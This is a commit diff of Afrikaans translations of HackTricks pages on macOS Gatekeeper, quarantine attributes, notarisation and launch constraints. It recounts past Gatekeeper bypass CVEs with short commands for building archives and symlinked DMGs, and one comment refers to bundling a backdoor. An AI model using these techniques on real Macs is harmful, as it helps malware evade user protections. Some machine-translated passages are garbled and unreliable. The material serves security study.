Translated ['macos-hardening/macos-security-and-privilege-escalation/mac

This commit is contained in:
Translator 2024-07-19 16:28:56 +00:00
parent 6020331343
commit a5a39f0714
20 changed files with 691 additions and 558 deletions

View file

@ -1,16 +1,19 @@
# macOS Gatekeeper / Quarantine / XProtect
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Leer AWS hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
* Werk jy in 'n **cybersecurity maatskappy**? Wil jy hê jou **maatskappy moet in HackTricks geadverteer word**? of wil jy toegang hê tot die **nuutste weergawe van die PEASS of HackTricks in PDF aflaai**? Kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling van eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Sluit aan by die** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** my op **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Deel jou hacking truuks deur PRs in te dien by die** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **en** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud)
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
@ -18,29 +21,29 @@
## Gatekeeper
**Gatekeeper** is 'n sekuriteitskenmerk wat ontwikkel is vir Mac-bedryfstelsels, ontwerp om te verseker dat gebruikers **slegs vertroude sagteware** op hul stelsels uitvoer. Dit funksioneer deur **sagteware te verifieer** wat 'n gebruiker aflaai en probeer om te open vanaf **bronne buite die App Store**, soos 'n app, 'n plug-in, of 'n installer pakket.
**Gatekeeper** is 'n sekuriteitskenmerk wat ontwikkel is vir Mac-bedryfstelsels, ontwerp om te verseker dat gebruikers **slegs vertroude sagteware** op hul stelsels uitvoer. Dit funksioneer deur **sagteware te verifieer** wat 'n gebruiker aflaai en probeer om te open vanaf **bronne buite die App Store**, soos 'n app, 'n plug-in, of 'n installer-pakket.
Die sleutelmeganisme van Gatekeeper lê in sy **verifikasie** proses. Dit kontroleer of die afgelaaide sagteware **onderteken is deur 'n erkende ontwikkelaar**, wat die sagteware se egtheid verseker. Verder bevestig dit of die sagteware **notarised is deur Apple**, wat bevestig dat dit vry is van bekende kwaadwillige inhoud en nie na notarisation gewysig is nie.
Die sleutelmeganisme van Gatekeeper lê in sy **verifikasie** proses. Dit kontroleer of die afgelaaide sagteware **onderteken is deur 'n erkende ontwikkelaar**, wat die sagteware se egtheid verseker. Verder bepaal dit of die sagteware **notariseer is deur Apple**, wat bevestig dat dit vry is van bekende kwaadwillige inhoud en nie na notariseringsproses gewysig is nie.
Boonop versterk Gatekeeper gebruikersbeheer en sekuriteit deur **gebruikers te vra om die opening** van afgelaaide sagteware vir die eerste keer goed te keur. Hierdie beskerming help om te voorkom dat gebruikers per ongeluk potensieel skadelike uitvoerbare kode uitvoer wat hulle dalk vir 'n onskadelike data-lêer verwar het.
### Aansoekhandtekeninge
### Toepassing Handtekeninge
Aansoekhandtekeninge, ook bekend as kodehandtekeninge, is 'n kritieke komponent van Apple se sekuriteitsinfrastruktuur. Hulle word gebruik om die **identiteit van die sagteware-auteur** (die ontwikkelaar) te **verifieer** en om te verseker dat die kode nie gewysig is sedert dit laas onderteken is nie.
Toepassing handtekeninge, ook bekend as kodehandtekeninge, is 'n kritieke komponent van Apple se sekuriteitsinfrastruktuur. Hulle word gebruik om die **identiteit van die sagteware-outeur** (die ontwikkelaar) te verifieer en om te verseker dat die kode nie gewysig is nie sedert dit laas onderteken is.
Hier is hoe dit werk:
1. **Ondertekening van die Aansoek:** Wanneer 'n ontwikkelaar gereed is om hul aansoek te versprei, **onderteken hulle die aansoek met 'n private sleutel**. Hierdie private sleutel is geassosieer met 'n **sertifikaat wat Apple aan die ontwikkelaar uitreik** wanneer hulle in die Apple Developer Program registreer. Die ondertekeningsproses behels die skep van 'n kriptografiese hash van alle dele van die app en die versleuteling van hierdie hash met die ontwikkelaar se private sleutel.
2. **Verspreiding van die Aansoek:** Die ondertekende aansoek word dan aan gebruikers versprei saam met die ontwikkelaar se sertifikaat, wat die ooreenstemmende publieke sleutel bevat.
3. **Verifikasie van die Aansoek:** Wanneer 'n gebruiker die aansoek aflaai en probeer om dit uit te voer, gebruik hul Mac-bedryfstelsel die publieke sleutel van die ontwikkelaar se sertifikaat om die hash te ontsleutel. Dit bereken dan die hash weer op grond van die huidige toestand van die aansoek en vergelyk dit met die ontsleutelde hash. As hulle ooreenstem, beteken dit **die aansoek is nie gewysig nie** sedert die ontwikkelaar dit onderteken het, en die stelsel laat die aansoek toe om uit te voer.
1. **Ondertekening van die Toepassing:** Wanneer 'n ontwikkelaar gereed is om hul toepassing te versprei, **onderteken hulle die toepassing met 'n private sleutel**. Hierdie private sleutel is geassosieer met 'n **sertifikaat wat Apple aan die ontwikkelaar uitreik** wanneer hulle in die Apple Developer Program inskryf. Die ondertekeningsproses behels die skep van 'n kriptografiese hash van alle dele van die app en die versleuteling van hierdie hash met die ontwikkelaar se private sleutel.
2. **Verspreiding van die Toepassing:** Die ondertekende toepassing word dan aan gebruikers versprei saam met die ontwikkelaar se sertifikaat, wat die ooreenstemmende publieke sleutel bevat.
3. **Verifikasie van die Toepassing:** Wanneer 'n gebruiker die toepassing aflaai en probeer om dit uit te voer, gebruik hul Mac-bedryfstelsel die publieke sleutel van die ontwikkelaar se sertifikaat om die hash te ontsleutel. Dit bereken dan die hash weer op grond van die huidige toestand van die toepassing en vergelyk dit met die ontsleutelde hash. As hulle ooreenstem, beteken dit **die toepassing is nie gewysig nie** sedert die ontwikkelaar dit onderteken het, en die stelsel laat die toepassing toe om uit te voer.
Aansoekhandtekeninge is 'n noodsaaklike deel van Apple se Gatekeeper-tegnologie. Wanneer 'n gebruiker probeer om **'n aansoek wat van die internet afgelaai is, te open**, verifieer Gatekeeper die aansoekhandtekening. As dit onderteken is met 'n sertifikaat wat deur Apple aan 'n bekende ontwikkelaar uitgereik is en die kode nie gewysig is nie, laat Gatekeeper die aansoek toe om uit te voer. Andersins blokkeer dit die aansoek en waarsku die gebruiker.
Toepassing handtekeninge is 'n noodsaaklike deel van Apple se Gatekeeper-tegnologie. Wanneer 'n gebruiker probeer om **'n toepassing wat van die internet afgelaai is, te open**, verifieer Gatekeeper die toepassing se handtekening. As dit onderteken is met 'n sertifikaat wat deur Apple aan 'n bekende ontwikkelaar uitgereik is en die kode nie gewysig is nie, laat Gatekeeper die toepassing toe om uit te voer. Andersins blokkeer dit die toepassing en waarsku die gebruiker.
Vanaf macOS Catalina, **kontroleer Gatekeeper ook of die aansoek notarised is** deur Apple, wat 'n ekstra laag van sekuriteit toevoeg. Die notarisation proses kontroleer die aansoek vir bekende sekuriteitskwessies en kwaadwillige kode, en as hierdie kontroles slaag, voeg Apple 'n kaartjie by die aansoek wat Gatekeeper kan verifieer.
Vanaf macOS Catalina, **kontroleer Gatekeeper ook of die toepassing notariseer is** deur Apple, wat 'n ekstra laag van sekuriteit toevoeg. Die notariseringsproses kontroleer die toepassing vir bekende sekuriteitskwessies en kwaadwillige kode, en as hierdie kontroles slaag, voeg Apple 'n kaartjie by die toepassing wat Gatekeeper kan verifieer.
#### Kontroleer Handtekeninge
Wanneer jy 'n paar **malware monsters** kontroleer, moet jy altyd die **handtekening** van die binêre kontroleer, aangesien die **ontwikkelaar** wat dit onderteken het, dalk reeds **verbonde** is met **malware.**
Wanneer jy 'n paar **kwaadwillige monsters** kontroleer, moet jy altyd **die handtekening** van die binêre kontroleer, aangesien die **ontwikkelaar** wat dit onderteken het, dalk reeds **verbonde** is met **kwaadwillige kode.**
```bash
# Get signer
codesign -vv -d /bin/ls 2>&1 | grep -E "Authority|TeamIdentifier"
@ -61,13 +64,13 @@ codesign -s <cert-name-keychain> toolsdemo
Apple se notariseringsproses dien as 'n addisionele beskerming om gebruikers te beskerm teen potensieel skadelike sagteware. Dit behels die **ontwikkelaar wat hul aansoek indien vir ondersoek** deur **Apple se Notariseringdiens**, wat nie verwar moet word met App-oorsig nie. Hierdie diens is 'n **geoutomatiseerde stelsel** wat die ingediende sagteware ondersoek vir die teenwoordigheid van **skadelike inhoud** en enige potensiële probleme met kode-handtekening.
As die sagteware **deurgekom** het hierdie inspeksie sonder om enige bekommernisse te wek, genereer die Notariseringdiens 'n notariseringskaartjie. Die ontwikkelaar moet dan **hierdie kaartjie aan hul sagteware heg**, 'n proses bekend as 'stapeling.' Verder word die notariseringskaartjie ook aanlyn gepubliseer waar GateKeeper, Apple se sekuriteitstegnologie, dit kan toegang.
As die sagteware **deur** hierdie inspeksie slaag sonder om enige bekommernisse te wek, genereer die Notariseringdiens 'n notariseringskaartjie. Die ontwikkelaar moet dan **hierdie kaartjie aan hul sagteware heg**, 'n proses bekend as 'stapeling.' Verder word die notariseringskaartjie ook aanlyn gepubliseer waar GateKeeper, Apple se sekuriteitstegnologie, dit kan toegang.
By die gebruiker se eerste installasie of uitvoering van die sagteware, die bestaan van die notariseringskaartjie - of dit aan die uitvoerbare geheg is of aanlyn gevind word - **informeer GateKeeper dat die sagteware deur Apple notariseer is**. As gevolg hiervan vertoon GateKeeper 'n beskrywende boodskap in die aanvanklike lanseringsdialoog, wat aandui dat die sagteware onderhewig was aan kontrole vir skadelike inhoud deur Apple. Hierdie proses verbeter dus die gebruiker se vertroue in die sekuriteit van die sagteware wat hulle op hul stelsels installeer of uitvoer.
By die gebruiker se eerste installasie of uitvoering van die sagteware, **informeer die bestaan van die notariseringskaartjie - of dit aan die uitvoerbare geheg is of aanlyn gevind word - GateKeeper dat die sagteware deur Apple notariseer is**. As gevolg hiervan vertoon GateKeeper 'n beskrywende boodskap in die aanvanklike lanseringsdialoog, wat aandui dat die sagteware deur Apple vir skadelike inhoud nagegaan is. Hierdie proses verbeter dus die gebruiker se vertroue in die sekuriteit van die sagteware wat hulle op hul stelsels installeer of uitvoer.
### Enumerating GateKeeper
GateKeeper is beide, **verskeie sekuriteitskomponente** wat onbetroubare toepassings verhoed om uitgevoer te word en ook **een van die komponente**.
GateKeeper is beide, **verskeie sekuriteitskomponente** wat onbetroubare toepassings van uitvoering verhoed en ook **een van die komponente**.
Dit is moontlik om die **status** van GateKeeper te sien met:
```bash
@ -184,7 +187,7 @@ xattr file.png
com.apple.macl
com.apple.quarantine
```
Kontroleer die **waarde** van die **uitgebreide** **kenmerke** en vind die app wat die kwarantyn kenmerk geskryf het met:
Kontroleer die **waarde** van die **uitgebreide** **kenmerke** en vind die toepassing wat die kwarantynkenmerk geskryf het met:
```bash
xattr -l portada.png
com.apple.macl:
@ -319,21 +322,21 @@ Let daarop dat Gatekeeper **nie elke keer uitgevoer word** wanneer jy 'n toepass
Daarom was dit voorheen moontlik om 'n app uit te voer om dit met Gatekeeper te kas, dan **nie-uitvoerbare lêers van die toepassing te wysig** (soos Electron asar of NIB lêers) en as daar geen ander beskermings in plek was nie, is die toepassing **uitgevoer** met die **kwaadwillige** toevoegings.
Maar nou is dit nie meer moontlik nie omdat macOS **wysig lêers** binne toepassingsbundels voorkom. So, as jy die [Dirty NIB](../macos-proces-abuse/macos-dirty-nib.md) aanval probeer, sal jy vind dat dit nie meer moontlik is om dit te misbruik nie omdat jy, nadat jy die app uitgevoer het om dit met Gatekeeper te kas, nie die bundel kan wysig nie. En as jy byvoorbeeld die naam van die Contents-gids na NotCon verander (soos in die exploit aangedui), en dan die hoof binêre van die app uitvoer om dit met Gatekeeper te kas, sal dit 'n fout veroorsaak en nie uitvoer nie.
Maar nou is dit nie meer moontlik nie omdat macOS **wysig lêers** binne toepassingsbundels voorkom. So, as jy die [Dirty NIB](../macos-proces-abuse/macos-dirty-nib.md) aanval probeer, sal jy vind dat dit nie meer moontlik is om dit te misbruik nie omdat jy, nadat jy die app uitgevoer het om dit met Gatekeeper te kas, nie die bundel kan wysig nie. En as jy byvoorbeeld die naam van die Contents-gids na NotCon verander (soos in die uitbuiting aangedui), en dan die hoof binêre van die app uitvoer om dit met Gatekeeper te kas, sal dit 'n fout veroorsaak en nie uitvoer nie.
## Gatekeeper Omseilings
Enige manier om Gatekeeper te omseil (om te regverdig dat die gebruiker iets aflaai en dit uitvoer wanneer Gatekeeper dit moet verbied) word beskou as 'n kwesbaarheid in macOS. Dit is 'n paar CVEs wat aan tegnieke toegeken is wat in die verlede toegelaat het om Gatekeeper te omseil:
Enige manier om Gatekeeper te omseil (om te regverdig dat die gebruiker iets aflaai en dit uitvoer wanneer Gatekeeper dit sou verhoed) word beskou as 'n kwesbaarheid in macOS. Dit is 'n paar CVE's wat aan tegnieke toegeken is wat in die verlede toegelaat het om Gatekeeper te omseil:
### [CVE-2021-1810](https://labs.withsecure.com/publications/the-discovery-of-cve-2021-1810)
Daar is waargeneem dat as die **Archive Utility** vir ekstraksie gebruik word, lêers met **paaie wat 886 karakters oorskry** nie die com.apple.quarantine uitgebreide attribuut ontvang nie. Hierdie situasie laat onbedoeld toe dat daardie lêers **Gatekeeper se** sekuriteitskontroles omseil.
Daar is waargeneem dat as die **Archive Utility** vir ekstraksie gebruik word, lêers met **paaie wat 886 karakters oorskry** nie die com.apple.quarantine uitgebreide eienskap ontvang nie. Hierdie situasie laat daardie lêers per ongeluk toe om **Gatekeeper se** sekuriteitskontroles te omseil.
Kyk na die [**oorspronklike verslag**](https://labs.withsecure.com/publications/the-discovery-of-cve-2021-1810) vir meer inligting.
### [CVE-2021-30990](https://ronmasas.com/posts/bypass-macos-gatekeeper)
Wanneer 'n toepassing geskep word met **Automator**, is die inligting oor wat dit benodig om uit te voer binne `application.app/Contents/document.wflow` nie in die uitvoerbare nie. Die uitvoerbare is net 'n generiese Automator binêre genaamd **Automator Application Stub**.
Wanneer 'n toepassing geskep word met **Automator**, is die inligting oor wat dit benodig om uit te voer binne `application.app/Contents/document.wflow` en nie in die uitvoerbare nie. Die uitvoerbare is net 'n generiese Automator binêre genaamd **Automator Application Stub**.
Daarom kan jy `application.app/Contents/MacOS/Automator\ Application\ Stub` **met 'n simboliese skakel na 'n ander Automator Application Stub binne die stelsel laat wys** en dit sal uitvoer wat binne `document.wflow` (jou skrip) is **sonder om Gatekeeper te aktiveer** omdat die werklike uitvoerbare nie die kwarantyn xattr het nie.
@ -343,7 +346,7 @@ Kyk na die [**oorspronklike verslag**](https://ronmasas.com/posts/bypass-macos-g
### [CVE-2022-22616](https://www.jamf.com/blog/jamf-threat-labs-safari-vuln-gatekeeper-bypass/)
In hierdie omseiling is 'n zip-lêer geskep met 'n toepassing wat begin om te komprimeer vanaf `application.app/Contents` in plaas van `application.app`. Daarom is die **kwarantyn attribuut** op al die **lêers van `application.app/Contents`** toegepas maar **nie op `application.app` nie**, wat was wat Gatekeeper nagegaan het, so Gatekeeper is omseil omdat wanneer `application.app` geaktiveer is, dit **nie die kwarantyn attribuut gehad het nie.**
In hierdie omseiling is 'n zip-lêer geskep met 'n toepassing wat begin om te komprimeer vanaf `application.app/Contents` in plaas van `application.app`. Daarom is die **kwarantyn eienskap** op al die **lêers van `application.app/Contents`** toegepas maar **nie op `application.app` nie**, wat was wat Gatekeeper nagegaan het, so Gatekeeper is omseil omdat wanneer `application.app` geaktiveer is, dit **nie die kwarantyn eienskap gehad het nie.**
```bash
zip -r test.app/Contents test.zip
```
@ -394,7 +397,7 @@ Daar is ontdek dat **Google Chrome nie die kwarantyn-attribuut** aan afgelaaide
### [CVE-2023-27951](https://redcanary.com/blog/gatekeeper-bypass-vulnerabilities/)
AppleDouble lêerformate stoor die attribuut van 'n lêer in 'n aparte lêer wat begin met `._`, dit help om lêerattribuut **oor macOS masjiene** te kopieer. Dit is egter opgemerk dat na die dekompressie van 'n AppleDouble lêer, die lêer wat met `._` begin **nie die kwarantyn-attribuut** ontvang het nie.
AppleDouble lêerformate stoor die attribuut van 'n lêer in 'n aparte lêer wat begin met `._`, dit help om lêer-attribuut **oor macOS masjiene** te kopieer. Dit is egter opgemerk dat na die dekompressie van 'n AppleDouble lêer, die lêer wat met `._` begin **nie die kwarantyn-attribuut** ontvang het nie.
{% code overflow="wrap" %}
```bash
@ -408,7 +411,7 @@ aa archive -d test/ -o test.aar
```
{% endcode %}
Om 'n lêer te kan skep wat nie die kwarantyn-attribuut sal hê nie, was dit **moontlik om Gatekeeper te omseil.** Die truuk was om 'n **DMG-lêertoepassing** te skep met die AppleDouble naamkonvensie (begin dit met `._`) en 'n **sigbare lêer as 'n simlink na hierdie verborge** lêer te skep sonder die kwarantyn-attribuut.\
Om 'n lêer te kan skep wat nie die kwarantyn-attribuut sal hê nie, was dit **moontlik om Gatekeeper te omseil.** Die truuk was om 'n **DMG-lêertoepassing** te skep met die AppleDouble naamkonvensie (begin dit met `._`) en 'n **sigbare lêer as 'n simlink na hierdie versteekte** lêer te skep sonder die kwarantyn-attribuut.\
Wanneer die **dmg-lêer uitgevoer word**, sal dit, aangesien dit nie 'n kwarantyn-attribuut het nie, **Gatekeeper omseil.**
```bash
# Create an app bundle with the backdoor an call it app.app
@ -450,7 +453,7 @@ Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size=
<summary>Support HackTricks</summary>
* Kontroleer die [**subskripsieplanne**](https://github.com/sponsors/carlospolop)!
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.

View file

@ -1,98 +1,99 @@
# macOS Lancering/Omgewingsbeperkings & Vertrouenskas
# macOS Launch/Environment Constraints & Trust Cache
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
* Werk jy in 'n **cybersecurity-maatskappy**? Wil jy jou **maatskappy adverteer in HackTricks**? Of wil jy toegang hê tot die **nuutste weergawe van die PEASS of laai HackTricks af in PDF-formaat**? Kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Sluit aan by die** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** my op **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Deel jou hacktruuks deur PR's in te dien by die** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **en** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud)
*
* .
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## Basiese Inligting
## Basic Information
Lanceringbeperkings in macOS is ingevoer om sekuriteit te verbeter deur **te reguleer hoe, deur wie en vanwaar 'n proses geïnisieer kan word**. Dit is in macOS Ventura begin en bied 'n raamwerk wat **elke stelselbinêre in afsonderlike beperkingskategorieë** kategoriseer, wat gedefinieer word binne die **vertrouenskas**, 'n lys wat stelselbinêre en hul onderskeie hashs bevat. Hierdie beperkings strek tot elke uitvoerbare binêre binne die stelsel en behels 'n stel **reëls** wat die vereistes vir **die lancering van 'n spesifieke binêre** bepaal. Die reëls sluit selfbeperkings in wat 'n binêre moet bevredig, ouerbeperkings wat deur sy ouerproses nagekom moet word, en verantwoordelike beperkings wat deur ander relevante entiteite nagekom moet word.
Lanceringsbeperkings in macOS is ingestel om sekuriteit te verbeter deur **te reguleer hoe, wie, en van waar 'n proses geinitieer kan word**. Geïnisieer in macOS Ventura, bied dit 'n raamwerk wat **elke stelselbinarie in verskillende beperkingkategorieë kategoriseer**, wat gedefinieer word binne die **vertrou cache**, 'n lys wat stelselbinaries en hul onderskeie hashes bevat. Hierdie beperkings strek na elke uitvoerbare binarie binne die stelsel, wat 'n stel **reëls** insluit wat die vereistes vir **die bekendstelling van 'n spesifieke binarie** uiteensit. Die reëls sluit selfbeperkings in wat 'n binarie moet nakom, ouerbeperkings wat deur sy ouerproses nagekom moet word, en verantwoordelike beperkings wat deur ander relevante entiteite nagekom moet word.
Die meganisme strek tot derdeparty-apps deur **Omgewingsbeperkings**, wat begin vanaf macOS Sonoma, en stel ontwikkelaars in staat om hul apps te beskerm deur 'n **reeks sleutels en waardes vir omgewingsbeperkings** te spesifiseer.
Die meganisme strek na derdeparty-apps deur **Omgewingbeperkings**, wat begin vanaf macOS Sonoma, wat ontwikkelaars toelaat om hul apps te beskerm deur 'n **stel sleutels en waardes vir omgewingbeperkings te spesifiseer.**
Jy definieer **lanceringsomgewing en biblioteekbeperkings** in beperkingswoordeboeke wat jy ofwel stoor in **`launchd`-eiendomslys-lêers**, of in **afsonderlike eiendomslys-lêers** wat jy gebruik in kodeondertekening.
Jy definieer **lanceringsomgewing en biblioteekbeperkings** in beperkingwoordeboeke wat jy of in **`launchd` eiendomlys lêers** stoor, of in **afsonderlike eiendomlys** lêers wat jy in kodeondertekening gebruik.
Daar is 4 tipes beperkings:
* **Selfbeperkings**: Beperkings wat van toepassing is op die **lopende** binêre.
* **Ouerproses**: Beperkings wat van toepassing is op die **ouer van die proses** (byvoorbeeld **`launchd`** wat 'n XP-diens uitvoer)
* **Verantwoordelike beperkings**: Beperkings wat van toepassing is op die **proses wat die diens aanroep** in 'n XPC-kommunikasie
* **Selfbeperkings**: Beperkings wat toegepas word op die **lopende** binarie.
* **Ouerproses**: Beperkings wat toegepas word op die **ouer van die proses** (byvoorbeeld **`launchd`** wat 'n XP-diens uitvoer)
* **Verantwoordelike beperkings**: Beperkings wat toegepas word op die **proses wat die diens aanroep** in 'n XPC-kommunikasie
* **Biblioteeklaaibeperkings**: Gebruik biblioteeklaaibeperkings om selektief kode te beskryf wat gelaai kan word
Dus, wanneer 'n proses probeer om 'n ander proses te lanceer - deur `execve(_:_:_:)` of `posix_spawn(_:_:_:_:_:_:)` te roep - kontroleer die bedryfstelsel dat die **uitvoerbare** lêer voldoen aan sy **eie selfbeperking**. Dit kontroleer ook dat die **uitvoerbare lêer van die ouerproses** voldoen aan die uitvoerbare se **ouerbeperking**, en dat die **uitvoerbare lêer van die verantwoordelike proses** voldoen aan die uitvoerbare se verantwoordelike prosesbeperking. As enige van hierdie lanceringbeperkings nie bevredig word nie, voer die bedryfstelsel die program nie uit nie.
So wanneer 'n proses probeer om 'n ander proses te begin — deur `execve(_:_:_:)` of `posix_spawn(_:_:_:_:_:_:)` aan te roep — kontroleer die bedryfstelsel dat die **uitvoerbare** lêer **aan sy** **eie selfbeperking** **voldoen**. Dit kontroleer ook dat die **ouer** **proses se** uitvoerbare **aan die uitvoerbare se** **ouerbeperking** **voldoen**, en dat die **verantwoordelike** **proses se** uitvoerbare **aan die uitvoerbare se verantwoordelike prosesbeperking** **voldoen**. As enige van hierdie lanceringsbeperkings nie nagekom word nie, sal die bedryfstelsel die program nie uitvoer nie.
As enige deel van die **biblioteekbeperking nie waar is nie** wanneer 'n biblioteek gelaai word, laai jou proses die biblioteek nie.
As enige deel van die **biblioteekbeperking nie waar is nie** wanneer 'n biblioteek gelaai word, **laai** jou proses **nie** die biblioteek nie.
## LC Kategorieë
## LC Categories
'n LC bestaan uit **feite** en **logiese bewerkings** (en, of...) wat feite kombineer.
'n LC is saamgestel uit **feite** en **logiese operasies** (en, of..) wat feite kombineer.
Die [**feite wat 'n LC kan gebruik, is gedokumenteer**](https://developer.apple.com/documentation/security/defining\_launch\_environment\_and\_library\_constraints). Byvoorbeeld:
Die[ **feite wat 'n LC kan gebruik is gedokumenteer**](https://developer.apple.com/documentation/security/defining\_launch\_environment\_and\_library\_constraints). Byvoorbeeld:
* is-init-proc: 'n Boole-waarde wat aandui of die uitvoerbare die bedryfstelsel se inisialisasieproses (`launchd`) moet wees.
* is-sip-protected: 'n Boole-waarde wat aandui of die uitvoerbare 'n lêer moet wees wat deur Stelselintegriteitsbeskerming (SIP) beskerm word.
* `on-authorized-authapfs-volume:` 'n Boole-waarde wat aandui of die bedryfstelsel die uitvoerbare vanaf 'n gemagtigde, geauthentiseerde APFS-volume gelaai het.
* `on-authorized-authapfs-volume`: 'n Boole-waarde wat aandui of die bedryfstelsel die uitvoerbare vanaf 'n gemagtigde, geauthentiseerde APFS-volume gelaai het.
* Cryptexes-volume
* `on-system-volume:` 'n Boole-waarde wat aandui of die bedryfstelsel die uitvoerbare vanaf die tans geboote stelselvolume gelaai het.
* is-init-proc: 'n Booleaanse waarde wat aandui of die uitvoerbare die bedryfstelsel se inisialisasieproses (`launchd`) moet wees.
* is-sip-beskerm: 'n Booleaanse waarde wat aandui of die uitvoerbare 'n lêer moet wees wat deur Stelselintegriteitsbeskerming (SIP) beskerm word.
* `on-authorized-authapfs-volume:` 'n Booleaanse waarde wat aandui of die bedryfstelsel die uitvoerbare van 'n geverifieerde, geverifieerde APFS-volume gelaai het.
* `on-authorized-authapfs-volume`: 'n Booleaanse waarde wat aandui of die bedryfstelsel die uitvoerbare van 'n geverifieerde, geverifieerde APFS-volume gelaai het.
* Cryptexes volume
* `on-system-volume:` 'n Booleaanse waarde wat aandui of die bedryfstelsel die uitvoerbare van die tans-gestarte stelselmengsel gelaai het.
* Binne /System...
* ...
Wanneer 'n Apple-binêre lêer onderteken word, **ken dit dit toe aan 'n LC-kategorie** binne die **vertrouenskas**.
Wanneer 'n Apple binarie onderteken word, **ken dit dit aan 'n LC-kategorie** binne die **vertrou cache** toe.
* **iOS 16 LC-kategorieë** is [**omgekeer en gedokumenteer hier**](https://gist.github.com/LinusHenze/4cd5d7ef057a144cda7234e2c247c056).
* **iOS 16 LC-kategorieë** is [**omgekeer en hier gedokumenteer**](https://gist.github.com/LinusHenze/4cd5d7ef057a144cda7234e2c247c056).
* Huidige **LC-kategorieë (macOS 14** - Somona) is omgekeer en hul [**beskrywings kan hier gevind word**](https://gist.github.com/theevilbit/a6fef1e0397425a334d064f7b6e1be53).
Byvoorbeeld Kategorie 1 is:
Byvoorbeeld, Kategori 1 is:
```
Category 1:
Self Constraint: (on-authorized-authapfs-volume || on-system-volume) && launch-type == 1 && validation-category == 1
Parent Constraint: is-init-proc
```
* `(on-authorized-authapfs-volume || on-system-volume)`: Moet in die Stelsel- of Cryptexes-volume wees.
* `(on-authorized-authapfs-volume || on-system-volume)`: Moet in die Stelsel of Cryptexes volume wees.
* `launch-type == 1`: Moet 'n stelseldiens wees (plist in LaunchDaemons).
* `validation-category == 1`: 'n Bedryfstelsel-uitvoerbare lêer.
* `validation-category == 1`: 'n Bedryfstelsel uitvoerbare lêer.
* `is-init-proc`: Launchd
### Omgekeerde LC-kategorieë
### Omgekeerde LC Kategoriewe
